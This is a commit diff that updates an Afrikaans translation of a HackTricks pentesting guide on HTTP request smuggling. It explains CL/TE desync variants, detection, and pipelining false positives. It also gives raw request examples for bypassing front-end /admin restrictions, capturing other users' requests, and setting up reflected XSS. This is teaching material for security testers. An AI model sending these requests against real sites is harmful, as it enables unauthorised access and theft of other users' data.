maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-web/http-request-smuggling/README.md', 'src/

Browse Source
This commit is contained in:
Translator 2025-08-20 16:34:33 +00:00
parent ea1423727c
commit 87bde6b1ca
2 changed files with 195 additions and 66 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

241
src/pentesting-web/http-request-smuggling/README.md
View File

@ -2,10 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
## Wat is
Hierdie kwesbaarheid ontstaan wanneer 'n **desyncronization** tussen **front-end proxies** en die **back-end** bediener 'n **aanvaller** toelaat om 'n HTTP **versoek** te **stuur** wat as 'n **enkele versoek** deur die **front-end** proxies (laai balanseer / omgekeerde proxy) en **as 2 versoeke** deur die **back-end** bediener **geïterpreteer** sal word.\
Dit stel 'n gebruiker in staat om die **volgende versoek wat na die back-end bediener kom na syne** te **wysig**.
Hierdie kwesbaarheid gebeur wanneer 'n **desyncronization** tussen **front-end proxies** en die **back-end** bediener 'n **aanvaller** toelaat om 'n HTTP **versoek** te **stuur** wat as 'n **enkele versoek** deur die **front-end** proxies (laaibalansering/omgekeerde proxy) en **as 2 versoeke** deur die **back-end** bediener **geïterpreteer** sal word.\
Dit laat 'n gebruiker toe om die **volgende versoek wat by die back-end bediener aankom na syne** te **wysig**.
### Teorie
@ -22,16 +23,16 @@ Dit stel 'n gebruiker in staat om die **volgende versoek wat na die back-end bed
> Die Transfer-Encoding kopveld spesifiseer die vorm van kodering wat gebruik word om die payload liggaam veilig na die gebruiker oor te dra.\
> Chunked beteken dat groot data in 'n reeks stukke gestuur word.
### Werklikheid
### Realiteit
Die **Front-End** (n laai-balanseer / Omgekeerde Proxy) **verwerk** die _**content-length**_ of die _**transfer-encoding**_ kopveld en die **Back-end** bediener **verwerk die ander** een wat 'n **desyncronization** tussen die 2 stelsels veroorsaak.\
Die **Front-End** (n laaibalansering / Omgekeerde Proxy) **verwerk** die _**content-length**_ of die _**transfer-encoding**_ kopveld en die **Back-end** bediener **verwerk die ander** een wat 'n **desyncronization** tussen die 2 stelsels veroorsaak.\
Dit kan baie krities wees aangesien **'n aanvaller in staat sal wees om een versoek** na die omgekeerde proxy te stuur wat deur die **back-end** bediener **as 2 verskillende versoeke** **geïterpreteer** sal word. Die **gevaar** van hierdie tegniek lê in die feit dat die **back-end** bediener die **2de versoek wat ingevoeg is** sal **interpreteer** asof dit **van die volgende kliënt** af kom en die **werklike versoek** van daardie kliënt sal **deel** wees van die **ingevoegde versoek**.
### Besonderhede
Onthou dat in HTTP **'n nuwe lyn karakter bestaan uit 2 bytes:**
- **Content-Length**: Hierdie kopveld gebruik 'n **desimale getal** om die **aantal** **bytes** van die **liggaam** van die versoek aan te dui. Die liggaam word verwag om in die laaste karakter te eindig, **'n nuwe lyn is nie aan die einde van die versoek nodig** nie.
- **Content-Length**: Hierdie kopveld gebruik 'n **desimale getal** om die **aantal** **bytes** van die **liggaam** van die versoek aan te dui. Die liggaam word verwag om in die laaste karakter te eindig, **'n nuwe lyn is nie nodig aan die einde van die versoek** nie.
- **Transfer-Encoding:** Hierdie kopveld gebruik in die **liggaam** 'n **heksadesimale getal** om die **aantal** **bytes** van die **volgende stuk** aan te dui. Die **stuk** moet **eindig** met 'n **nuwe lyn** maar hierdie nuwe lyn **word nie getel** deur die lengte-indikator nie. Hierdie oordragmetode moet eindig met 'n **stuk van grootte 0 gevolg deur 2 nuwe lyne**: `0`
- **Connection**: Gebaseer op my ervaring word dit aanbeveel om **`Connection: keep-alive`** op die eerste versoek van die versoek Smuggling te gebruik.
@ -40,13 +41,13 @@ Onthou dat in HTTP **'n nuwe lyn karakter bestaan uit 2 bytes:**
> [!TIP]
> Wanneer jy probeer om dit met Burp Suite te benut, **deaktiveer `Update Content-Length` en `Normalize HTTP/1 line endings`** in die herhaler omdat sommige gadgets nuwe lyne, karakters en verkeerd gevormde content-lengths misbruik.
HTTP versoek smuggling aanvalle word saamgestel deur ambigue versoeke te stuur wat verskille in hoe front-end en back-end bedieners die `Content-Length` (CL) en `Transfer-Encoding` (TE) kopvelde interpreteer, benut. Hierdie aanvalle kan in verskillende vorme manifesteer, hoofsaaklik as **CL.TE**, **TE.CL**, en **TE.TE**. Elke tipe verteenwoordig 'n unieke kombinasie van hoe die front-end en back-end bedieners hierdie kopvelde prioriteit gee. Die kwesbaarhede ontstaan uit die bedieners wat dieselfde versoek op verskillende maniere verwerk, wat lei tot onverwagte en potensieel kwaadwillige uitkomste.
HTTP versoek smuggling aanvalle word geskep deur om ambigue versoeke te stuur wat die verskille in hoe front-end en back-end bedieners die `Content-Length` (CL) en `Transfer-Encoding` (TE) kopvelde interpreteer, te benut. Hierdie aanvalle kan in verskillende vorme manifesteer, hoofsaaklik as **CL.TE**, **TE.CL**, en **TE.TE**. Elke tipe verteenwoordig 'n unieke kombinasie van hoe die front-end en back-end bedieners hierdie kopvelde prioriteit gee. Die kwesbaarhede ontstaan uit die bedieners wat dieselfde versoek op verskillende maniere verwerk, wat lei tot onverwagte en potensieel kwaadwillige uitkomste.
### Basiese Voorbeelde van Kwesbaarheidstipes
![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
> [!NOTE]
> [!TIP]
> By die vorige tabel moet jy die TE.0 tegniek byvoeg, soos die CL.0 tegniek maar met Transfer Encoding.
#### CL.TE Kwesbaarheid (Content-Length gebruik deur Front-End, Transfer-Encoding gebruik deur Back-End)
@ -80,7 +81,7 @@ Foo: x
- **Aanval Scenario:**
- Die aanvaller stuur 'n chunked versoek waar die stuk grootte (`7b`) en werklike inhoud lengte (`Content-Length: 4`) nie ooreenstem nie.
- Die front-end bediener, wat `Transfer-Encoding` respekteer, stuur die hele versoek na die back-end.
- Die front-end bediener, wat `Transfer-Encoding` eer, stuur die hele versoek na die back-end.
- Die back-end bediener, wat `Content-Length` respekteer, verwerk slegs die aanvanklike deel van die versoek (`7b` bytes), wat die res as deel van 'n onbedoelde daaropvolgende versoek laat.
- **Voorbeeld:**
@ -102,7 +103,7 @@ x=
```
#### TE.TE Kwesbaarheid (Transfer-Encoding gebruik deur beide, met obfuskerings)
#### TE.TE Kwesbaarheid (Transfer-Encoding gebruik deur beide, met obfuskering)
- **Bedieners:** Beide ondersteun `Transfer-Encoding`, maar een kan mislei word om dit te ignoreer via obfuskering.
- **Aanval Scenario:**
@ -132,7 +133,7 @@ Transfer-Encoding
#### **CL.CL Scenario (Content-Length gebruik deur beide Front-End en Back-End)**
- Beide bedieners verwerk die versoek gebaseer slegs op die `Content-Length` kopveld.
- Hierdie scenario lei tipies nie tot smuggling nie, aangesien daar 'n ooreenstemming is in hoe beide bedieners die versoeklengte interpreteer.
- Hierdie scenario lei tipies nie tot smuggling nie, aangesien daar ooreenstemming is in hoe beide bedieners die versoeklengte interpreteer.
- **Voorbeeld:**
```
@ -141,13 +142,13 @@ Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normale Versoek
Normal Request
```
#### **CL.0 Scenario**
- Verwys na scenario's waar die `Content-Length` kopveld teenwoordig is en 'n waarde anders as nul het, wat aandui dat die versoek liggaam inhoud het. Die back-end ignoreer die `Content-Length` kopveld (wat as 0 behandel word), maar die front-end parse dit.
- Dit is belangrik om te verstaan en smuggling aanvalle te ontwerp, aangesien dit beïnvloed hoe bedieners die einde van 'n versoek bepaal.
- Dit is belangrik om smuggling aanvalle te verstaan en te skep, aangesien dit beïnvloed hoe bedieners die einde van 'n versoek bepaal.
- **Voorbeeld:**
```
@ -156,14 +157,14 @@ Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Nie-Empty Liggaam
Non-Empty Body
```
#### TE.0 Scenario
- Soos die vorige een maar met TE.
- Soos die vorige een maar met TE
- Tegniek [gerapporteer hier](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Voorbeeld:**
- **Voorbeeld**:
```
OPTIONS / HTTP/1.1
Host: {HOST}
@ -185,11 +186,11 @@ EMPTY_LINE_HERE
Hierdie tegniek is ook nuttig in scenario's waar dit moontlik is om 'n **webbediener te breek terwyl die aanvanklike HTTP-data gelees word** maar **sonder om die verbinding te sluit**. Op hierdie manier sal die **liggaam** van die HTTP-versoek as die **volgende HTTP-versoek** beskou word.
Byvoorbeeld, soos verduidelik in [**hierdie skrywe**](https://mizu.re/post/twisty-python), was dit in Werkzeug moontlik om 'n paar **Unicode** karakters te stuur en dit sal die bediener **breek**. As die HTTP-verbinding egter met die kop **`Connection: keep-alive`** geskep is, sal die liggaam van die versoek nie gelees word nie en die verbinding sal steeds oop wees, so die **liggaam** van die versoek sal as die **volgende HTTP-versoek** behandel word.
Byvoorbeeld, soos verduidelik in [**hierdie skrywe**](https://mizu.re/post/twisty-python), was dit in Werkzeug moontlik om 'n paar **Unicode** karakters te stuur en dit sal die bediener **breek**. As die HTTP-verbinding egter met die koptekst **`Connection: keep-alive`** geskep is, sal die liggaam van die versoek nie gelees word nie en die verbinding sal steeds oop wees, so die **liggaam** van die versoek sal as die **volgende HTTP-versoek** hanteer word.
#### Dwing via hop-by-hop koppe
#### Dwing via hop-by-hop koptekste
Deur hop-by-hop koppe te misbruik, kan jy die proxy aandui om die kop **Content-Length of Transfer-Encoding te verwyder sodat 'n HTTP-versoek smuggling misbruik kan word**.
Deur hop-by-hop koptekste te misbruik, kan jy die proxy aandui om die koptekst Content-Length of Transfer-Encoding te **verwyder sodat 'n HTTP-versoek-smuggling misbruik kan word**.
```
Connection: Content-Length
```
@ -201,7 +202,7 @@ Vir **meer inligting oor hop-by-hop headers** besoek:
## Vind HTTP Request Smuggling
Die identifisering van HTTP request smuggling kwesbaarhede kan dikwels bereik word deur tydtegnieke, wat staatmaak op die waarneming van hoe lank dit neem vir die bediener om op gemanipuleerde versoeke te reageer. Hierdie tegnieke is veral nuttig om CL.TE en TE.CL kwesbaarhede te detecteer. Benewens hierdie metodes, is daar ander strategieë en gereedskap wat gebruik kan word om sulke kwesbaarhede te vind:
Die identifisering van HTTP request smuggling kwesbaarhede kan dikwels bereik word deur tydtegnieke, wat staatmaak op die waarneming van hoe lank dit neem vir die bediener om op gemanipuleerde versoeke te reageer. Hierdie tegnieke is veral nuttig om CL.TE en TE.CL kwesbaarhede te ontdek. Benewens hierdie metodes, is daar ander strategieë en gereedskap wat gebruik kan word om sulke kwesbaarhede te vind:
### Vind CL.TE Kwesbaarhede Met Tydtegnieke
@ -223,7 +224,7 @@ A
```
- **Waarneming:**
- Die voorste bediener verwerk die versoek gebaseer op `Content-Length` en sny die boodskap voortydig af.
- Die voorgrondbediener verwerk die versoek gebaseer op `Content-Length` en sny die boodskap voortydig af.
- Die agtergrondbediener, wat 'n chunked boodskap verwag, wag vir die volgende chunk wat nooit aankom nie, wat 'n vertraging veroorsaak.
- **Aanduiders:**
@ -249,23 +250,23 @@ X
```
- **Waarneming:**
- Die voorste bediener verwerk die versoek gebaseer op `Transfer-Encoding` en stuur die hele boodskap voort.
- Die voorgrondbediener verwerk die versoek gebaseer op `Transfer-Encoding` en stuur die hele boodskap voort.
- Die agtergrondbediener, wat 'n boodskap gebaseer op `Content-Length` verwag, wag vir addisionele data wat nooit aankom nie, wat 'n vertraging veroorsaak.
### Ander Metodes om Kwesbaarhede te Vind
- **Differensiële Responsanalise:**
- Stuur effens verskillende weergawes van 'n versoek en observeer of die bediener se reaksies op 'n onverwagte manier verskil, wat 'n parsingsverskil aandui.
- Stuur effens verskillende weergawes van 'n versoek en observeer of die bediener se reaksies op 'n onverwagte manier verskil, wat 'n ontledingsverskil aandui.
- **Gebruik van Geoutomatiseerde Gereedskap:**
- Gereedskap soos Burp Suite se 'HTTP Request Smuggler' uitbreiding kan outomaties toets vir hierdie kwesbaarhede deur verskeie vorme van ambigue versoeke te stuur en die reaksies te analiseer.
- **Content-Length Variansetoetse:**
- **Content-Length Variansie Toetse:**
- Stuur versoeke met verskillende `Content-Length` waardes wat nie ooreenstem met die werklike inhoudslengte nie en observeer hoe die bediener sulke wanbalanse hanteer.
- **Transfer-Encoding Variansetoetse:**
- Stuur versoeke met obfuskeerde of misvormde `Transfer-Encoding` headers en monitor hoe verskillend die voorste en agtergrondbedieners op sulke manipulasies reageer.
- **Transfer-Encoding Variansie Toetse:**
- Stuur versoeke met obfuskeerde of misvormde `Transfer-Encoding` headers en monitor hoe verskillend die voorgrond- en agtergrondbedieners op sulke manipulasies reageer.
### HTTP Request Smuggling Kwesbaarheidstoetsing
Nadat die doeltreffendheid van tydtegnieke bevestig is, is dit noodsaaklik om te verifieer of kliënt versoeke gemanipuleer kan word. 'n Eenvoudige metode is om te probeer om jou versoeke te vergiftig, byvoorbeeld, om 'n versoek na `/` te maak wat 'n 404 reaksie oplewer. Die `CL.TE` en `TE.CL` voorbeelde wat voorheen bespreek is in [Basic Examples](#basic-examples) demonstreer hoe om 'n kliënt se versoek te vergiftig om 'n 404 reaksie uit te lok, ten spyte van die kliënt se poging om toegang tot 'n ander hulpbron te verkry.
Nadat die doeltreffendheid van tydtegnieke bevestig is, is dit noodsaaklik om te verifieer of kliëntversoeke gemanipuleer kan word. 'n Eenvoudige metode is om te probeer om jou versoeke te vergiftig, byvoorbeeld, om 'n versoek na `/` te maak wat 'n 404 reaksie oplewer. Die `CL.TE` en `TE.CL` voorbeelde wat voorheen bespreek is in [Basic Examples](#basic-examples) demonstreer hoe om 'n kliënt se versoek te vergiftig om 'n 404 reaksie uit te lok, ten spyte van die kliënt se poging om toegang tot 'n ander hulpbron te verkry.
**Belangrike Oorwegings**
@ -273,17 +274,123 @@ Wanneer jy toets vir request smuggling kwesbaarhede deur ander versoeke te beïn
- **Verskillende Netwerkverbindinge:** Die "aanval" en "normale" versoeke moet oor verskillende netwerkverbindinge gestuur word. Die gebruik van dieselfde verbinding vir albei valideer nie die kwesbaarheid se teenwoordigheid nie.
- **Konstante URL en Parameters:** Probeer om identiese URL's en parametername vir albei versoeke te gebruik. Moderne toepassings lei dikwels versoeke na spesifieke agtergrondbedieners gebaseer op URL en parameters. Ooreenstemming hiervan verhoog die waarskynlikheid dat albei versoeke deur dieselfde bediener verwerk word, 'n voorvereiste vir 'n suksesvolle aanval.
- **Tyd en Wedrenstoestande:** Die "normale" versoek, wat bedoel is om interferensie van die "aanval" versoek te detecteer, kompeteer teen ander gelyktydige toepassingsversoeke. Stuur dus die "normale" versoek onmiddellik na die "aanval" versoek. Besige toepassings mag verskeie pogings vereis vir beslissende kwesbaarheid bevestiging.
- **Laai Balansuitdagings:** Voorste bedieners wat as laai-balansers optree, mag versoeke oor verskillende agtergrondstelsels versprei. As die "aanval" en "normale" versoeke op verskillende stelsels eindig, sal die aanval nie slaag nie. Hierdie laai balanseer aspek mag verskeie pogings vereis om 'n kwesbaarheid te bevestig.
- **Onbedoelde Gebruikerimpak:** As jou aanval per ongeluk 'n ander gebruiker se versoek beïnvloed (nie die "normale" versoek wat jy gestuur het vir detectie nie), dui dit aan dat jou aanval 'n ander toepassingsgebruiker beïnvloed het. Deurlopende toetsing kan ander gebruikers ontwrig, wat 'n versigtige benadering vereis.
- **Tyd en Wedrenstoestande:** Die "normale" versoek, wat bedoel is om interferensie van die "aanval" versoek te ontdek, kompeteer teen ander gelyktydige toepassingsversoeke. Stuur dus die "normale" versoek onmiddellik na die "aanval" versoek. Besige toepassings mag verskeie pogings vereis vir beslissende kwesbaarheid bevestiging.
- **Laai Balansuitdagings:** Voorgrondbedieners wat as laai-balansers optree, mag versoeke oor verskillende agtergrondstelsels versprei. As die "aanval" en "normale" versoeke op verskillende stelsels eindig, sal die aanval nie slaag nie. Hierdie laai-balans aspek mag verskeie pogings vereis om 'n kwesbaarheid te bevestig.
- **Onbedoelde Gebruikerimpak:** As jou aanval per ongeluk 'n ander gebruiker se versoek beïnvloed (nie die "normale" versoek wat jy gestuur het vir opsporing nie), dui dit aan dat jou aanval 'n ander toepassingsgebruiker beïnvloed het. Deurlopende toetsing kan ander gebruikers ontwrig, wat 'n versigtige benadering vereis.
## Onderskeiding van HTTP/1.1 pipelining artefakte teenoor werklike request smuggling
Verbinding hergebruik (keep-alive) en pipelining kan maklik illusies van "smuggling" in toetsgereedskap wat verskeie versoeke op dieselfde soket stuur, produseer. Leer om onskadelike kliënt-kant artefakte van werklike bediener-kant desynk te skei.
### Waarom pipelining klassieke vals positiewe skep
HTTP/1.1 hergebruik 'n enkele TCP/TLS verbinding en voeg versoeke en reaksies op dieselfde stroom saam. In pipelining stuur die kliënt verskeie versoeke agtereenvolgens en staatmaak op in-volgorde reaksies. 'n Algemene vals positiewe is om 'n misvormde CL.0-styl payload twee keer op 'n enkele verbinding te herstuur:
```
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
Antwoorde kan lyk soos:
```
HTTP/1.1 200 OK
Content-Type: text/html
```
```
HTTP/1.1 200 OK
Content-Type: text/plain
User-agent: *
Disallow: /settings
```
As die bediener die verkeerd gevormde `Content_Length` geïgnoreer het, is daar geen FE↔BE desync nie. Met hergebruik het jou kliënt werklik hierdie byte-stroom gestuur, wat die bediener as twee onafhanklike versoeke geparseer het:
```
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
Impact: geen. Jy het net jou kliënt van die bediener se raamwerk ontkoppel.
> [!TIP]
> Burp-modules wat afhanklik is van hergebruik/pipelining: Turbo Intruder met `requestsPerConnection>1`, Intruder met "HTTP/1 verbinding hergebruik", Repeater "Stuur groep in volgorde (enkele verbinding)" of "Aktiveer verbinding hergebruik".
### Litmus-toetse: pipelining of werklike desync?
1. Deaktiveer hergebruik en toets weer
- In Burp Intruder/Repeater, skakel HTTP/1 hergebruik af en vermy "Stuur groep in volgorde".
- In Turbo Intruder, stel `requestsPerConnection=1` en `pipeline=False`.
- As die gedrag verdwyn, was dit waarskynlik kliënt-kant pipelining, tensy jy met verbinding-geslote/staatlike teikens of kliënt-kant desync te doen het.
2. HTTP/2 geneste-respons toets
- Stuur 'n HTTP/2 versoek. As die responsliggaam 'n volledige geneste HTTP/1 respons bevat, het jy 'n backend parsing/desync fout bewys in plaas van 'n suiwer kliënt artefak.
3. Gedeeltelike versoeke toets vir verbinding-geslote front-ends
- Sommige FE's hergebruik slegs die opwaartse BE-verbinding as die kliënt hulne hergebruik. Gebruik gedeeltelike versoeke om FE-gedrag te detecteer wat kliënt hergebruik weerspieël.
- Sien PortSwigger "Browser‑Powered Desync Attacks" vir die verbinding-geslote tegniek.
4. Staat probes
- Soek na verskille tussen die eerste en daaropvolgende versoeke op dieselfde TCP-verbinding (eerste-versoek routering/validasie).
- Burp "HTTP Request Smuggler" sluit 'n verbinding‑staat probe in wat dit outomatiseer.
5. Visualiseer die draad
- Gebruik die Burp "HTTP Hacker" uitbreiding om concatenasie en boodskapraamwerk direk te inspekteer terwyl jy met hergebruik en gedeeltelike versoeke eksperimenteer.
### Verbinding‑geslote versoek smuggling (hergebruik benodig)
Sommige front-ends hergebruik slegs die opwaartse verbinding wanneer die kliënt hulne hergebruik. Werklike smuggling bestaan, maar is voorwaardelik op kliënt-kant hergebruik. Om te onderskei en impak te bewys:
- Bewys die bediener-kant fout
- Gebruik die HTTP/2 geneste-respons toets, of
- Gebruik gedeeltelike versoeke om te wys dat die FE slegs opwaarts hergebruik wanneer die kliënt dit doen.
- Wys werklike impak selfs as direkte kruis-gebruiker sokker misbruik geblokkeer is:
- Cache vergiftiging: vergiftig gedeelde caches via die desync sodat responsies ander gebruikers beïnvloed.
- Interne kop openbaarmaking: reflekteer FE-ingeslote koppe (bv. auth/trust koppe) en draai na auth omseiling.
- Omseil FE kontroles: smuggle beperkte paaie/metodes verby die front-end.
- Gasheer-kop misbruik: kombineer met gasheer routering quirks om na interne vhosts te draai.
- Operateur werksvloei
- Herproduseer met beheerde hergebruik (Turbo Intruder `requestsPerConnection=2`, of Burp Repeater tab groep → "Stuur groep in volgorde (enkele verbinding)").
- Verbind dan met cache/kop-lek/beheer-omseiling primitiewe en demonstreer kruis-gebruiker of outorisering impak.
> Sien ook verbinding‑staat aanvalle, wat nou verwant is maar nie tegnies smuggling is nie:
>
>{{#ref}}
>../http-connection-request-smuggling.md
>{{#endref}}
### Kliënt‑kant desync beperkings
As jy teikens op 'n blaaier-kragtige/kliënt-kant desync, moet die kwaadwillige versoek deur 'n blaaier oor oorsprong gestuur kan word. Kop obfuskaas truuks sal nie werk nie. Fokus op primitiewe wat bereikbaar is via navigasie/fetch, en draai dan na cache vergiftiging, kop openbaarmaking, of front-end beheer omseiling waar afwaartse komponente responsies weerspieël of cache.
Vir agtergrond en eind-tot-eind werksvloei:
{{#ref}}
-browser-http-request-smuggling.md
{{#endref}}
### Gereedskap om te help besluit
- HTTP Hacker (Burp BApp Store): stel lae-vlak HTTP gedrag en sokker concatenasie bloot.
- "Smuggling of pipelining?" Burp Repeater Aangepaste Aksie: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: presiese beheer oor verbinding hergebruik via `requestsPerConnection`.
- Burp HTTP Request Smuggler: sluit 'n verbinding‑staat probe in om eerste‑versoek routering/validasie op te spoor.
> [!NOTE]
> Behandel hergebruik-slegs effekte as nie-probleme tensy jy bediener-kant desync kan bewys en konkrete impak kan heg (vergiftigde cache artefak, gelekte interne kop wat voorreg omseiling moontlik maak, omseilde FE beheer, ens.).
## Misbruik van HTTP Request Smuggling
### Om Front-End Sekuriteit te Omseil deur HTTP Request Smuggling
### Omseiling van Front-End Sekuriteit via HTTP Request Smuggling
Soms handhaaf voorste proxies sekuriteitsmaatreëls, wat inkomende versoeke ondersoek. Hierdie maatreëls kan egter omseil word deur HTTP Request Smuggling te benut, wat ongeoorloofde toegang tot beperkte eindpunte moontlik maak. Byvoorbeeld, toegang tot `/admin` mag ekstern verbied wees, met die voorste proxy wat aktief sulke pogings blokkeer. Nietemin mag hierdie proxy versuim om ingebedde versoeke binne 'n gesmokkelde HTTP versoek te ondersoek, wat 'n gat laat om hierdie beperkings te omseil.
Soms, front-end proxies handhaaf sekuriteitsmaatreëls, wat inkomende versoeke ondersoek. Hierdie maatreëls kan egter omseil word deur HTTP Request Smuggling te benut, wat ongeoorloofde toegang tot beperkte eindpunte toelaat. Byvoorbeeld, toegang tot `/admin` mag ekstern verbode wees, met die front-end proxy wat aktief sulke pogings blokkeer. Nietemin mag hierdie proxy versuim om ingebedde versoeke binne 'n gesmugde HTTP versoek te ondersoek, wat 'n gat laat vir die omseiling van hierdie beperkings.
Oorweeg die volgende voorbeelde wat illustreer hoe HTTP Request Smuggling gebruik kan word om front-end sekuriteitsbeheer te omseil, spesifiek teiken die `/admin` pad wat tipies deur die voorste proxy beskerm word:
Oorweeg die volgende voorbeelde wat illustreer hoe HTTP Request Smuggling gebruik kan word om front-end sekuriteitskontroles te omseil, spesifiek teikening van die `/admin` pad wat tipies deur die front-end proxy beskerm word:
**CL.TE Voorbeeld**
```
@ -302,7 +409,7 @@ Content-Length: 10
x=
```
In die CL.TE aanval, word die `Content-Length` kop vir die aanvanklike versoek benut, terwyl die daaropvolgende ingebedde versoek die `Transfer-Encoding: chunked` kop gebruik. Die front-end proxy verwerk die aanvanklike `POST` versoek, maar slaag nie daarin om die ingebedde `GET /admin` versoek te inspekteer nie, wat ongeoorloofde toegang tot die `/admin` pad toelaat.
In die CL.TE-aanval word die `Content-Length`-kop vir die aanvanklike versoek benut, terwyl die daaropvolgende ingebedde versoek die `Transfer-Encoding: chunked`-kop gebruik. Die front-end proxy verwerk die aanvanklike `POST`-versoek, maar slaag nie daarin om die ingebedde `GET /admin`-versoek te inspekteer nie, wat ongeoorloofde toegang tot die `/admin`-pad toelaat.
**TE.CL Voorbeeld**
```
@ -320,13 +427,13 @@ a=x
0
```
Omgekeerd, in die TE.CL-aanval, gebruik die aanvanklike `POST`-versoek `Transfer-Encoding: chunked`, en die daaropvolgende ingebedde versoek word verwerk op grond van die `Content-Length`-kop. Soos in die CL.TE-aanval, oorsien die front-end proxy die gesmokkelde `GET /admin`-versoek, wat per ongeluk toegang tot die beperkte `/admin`-pad verleen.
Omgekeerd, in die TE.CL-aanval, gebruik die aanvanklike `POST` versoek `Transfer-Encoding: chunked`, en die daaropvolgende ingebedde versoek word verwerk op grond van die `Content-Length` kop. Soos in die CL.TE-aanval, oorsien die front-end proxy die gesmokkelde `GET /admin` versoek, wat per ongeluk toegang tot die beperkte `/admin` pad verleen.
### Onthulling van front-end versoek herskrywing <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Toepassings gebruik dikwels 'n **front-end bediener** om inkomende versoeke te wysig voordat hulle aan die agterkant bediener oorgedra word. 'n Tipiese wysiging behels die toevoeging van koppe, soos `X-Forwarded-For: <IP of the client>`, om die kliënt se IP aan die agterkant oor te dra. Om hierdie wysigings te verstaan, kan van kardinale belang wees, aangesien dit maniere kan onthul om **beskermings te omseil** of **verborgene inligting of eindpunte te ontdek**.
Toepassings gebruik dikwels 'n **front-end bediener** om inkomende versoeke te wysig voordat dit aan die agterkant bediener oorgedra word. 'n Tipiese wysiging behels die toevoeging van koppe, soos `X-Forwarded-For: <IP van die kliënt>`, om die kliënt se IP aan die agterkant oor te dra. Om hierdie wysigings te verstaan, kan noodsaaklik wees, aangesien dit maniere kan onthul om **beskermings te omseil** of **verborgene inligting of eindpunte te ontdek**.
Om te ondersoek hoe 'n proxy 'n versoek verander, vind 'n POST-parameter wat die agterkant in die antwoord weergee. Skep dan 'n versoek, met hierdie parameter laaste, soortgelyk aan die volgende:
Om te ondersoek hoe 'n proxy 'n versoek verander, vind 'n POST parameter wat die agterkant in die antwoord weergee. Skep dan 'n versoek, met hierdie parameter laaste, soortgelyk aan die volgende:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -345,7 +452,7 @@ search=
```
In hierdie struktuur word daaropvolgende versoekkomponente bygevoeg na `search=`, wat die parameter is wat in die antwoord weerspieël word. Hierdie weerspieëling sal die koptekste van die daaropvolgende versoek blootstel.
Dit is belangrik om die `Content-Length` koptekst van die geneste versoek te belyn met die werklike inhoudslengte. Dit is raadsaam om met 'n klein waarde te begin en geleidelik te verhoog, aangesien 'n te lae waarde die weerspieëlde data sal afsnip, terwyl 'n te hoë waarde die versoek kan laat foutloop.
Dit is belangrik om die `Content-Length` koptekst van die geneste versoek te align met die werklike inhoudslengte. Dit is raadsaam om met 'n klein waarde te begin en geleidelik te verhoog, aangesien 'n te lae waarde die weerspieëlde data sal afkorts, terwyl 'n te hoë waarde die versoek kan laat misluk.
Hierdie tegniek is ook van toepassing in die konteks van 'n TE.CL kwesbaarheid, maar die versoek moet eindig met `search=\r\n0`. Ongeag die nuwe reël karakters, sal die waardes by die soekparameter gevoeg word.
@ -377,18 +484,18 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
```
In hierdie scenario is die **kommentaarparameter** bedoel om die inhoud binne 'n pos se kommentaarafdeling op 'n publiek toeganklike bladsy te stoor. Gevolglik sal die inhoud van die daaropvolgende versoek as 'n kommentaar verskyn.
Hierdie tegniek het egter beperkings. Oor die algemeen vang dit data slegs tot by die parameterafskeider wat in die gesmokkelde versoek gebruik word. Vir URL-gecodeerde vormindienings is hierdie afskeider die `&` karakter. Dit beteken dat die gevangenis inhoud van die slagoffer gebruiker se versoek by die eerste `&` sal stop, wat selfs deel van die vrae string kan wees.
Hierdie tegniek het egter beperkings. Oor die algemeen vang dit data slegs tot by die parameterafskeider wat in die gesmugde versoek gebruik word. Vir URL-gecodeerde vormindienings is hierdie afskeider die `&` karakter. Dit beteken dat die gevangenis inhoud van die slagoffer gebruiker se versoek by die eerste `&` sal stop, wat selfs deel van die navraagstring kan wees.
Boonop is dit die moeite werd om op te let dat hierdie benadering ook lewensvatbaar is met 'n TE.CL kwesbaarheid. In sulke gevalle moet die versoek eindig met `search=\r\n0`. Ongeag van nuwe reël karakters, sal die waardes by die soekparameter gevoeg word.
Boonop is dit die moeite werd om te noem dat hierdie benadering ook lewensvatbaar is met 'n TE.CL kwesbaarheid. In sulke gevalle moet die versoek eindig met `search=\r\n0`. Ongeag van nuwe reël karakters, sal die waardes by die soekparameter gevoeg word.
### Gebruik van HTTP versoek gesmokkel om weerspieëlde XSS te ontgin
### Gebruik van HTTP versoek gesmugding om weerspieëlde XSS te benut
HTTP Request Smuggling kan benut word om webblaaie wat kwesbaar is vir **Weerspieëlde XSS** te ontgin, wat beduidende voordele bied:
HTTP Request Smuggling kan benut word om webblaaie wat kwesbaar is vir **Weerspieëlde XSS** te exploiteer, wat beduidende voordele bied:
- Interaksie met die teikengebruikers is **nie nodig** nie.
- Dit stel die ontginning van XSS in dele van die versoek wat **normaalweg ontoeganklik** is, soos HTTP versoek koptekste, moontlik.
- Interaksie met die teiken gebruikers is **nie nodig** nie.
- Dit stel die benutting van XSS in dele van die versoek wat **normaalweg ontoeganklik** is, soos HTTP versoek koptekste, moontlik.
In scenario's waar 'n webwerf kwesbaar is vir Weerspieëlde XSS deur die User-Agent koptekst, demonstreer die volgende payload hoe om hierdie kwesbaarheid te ontgin:
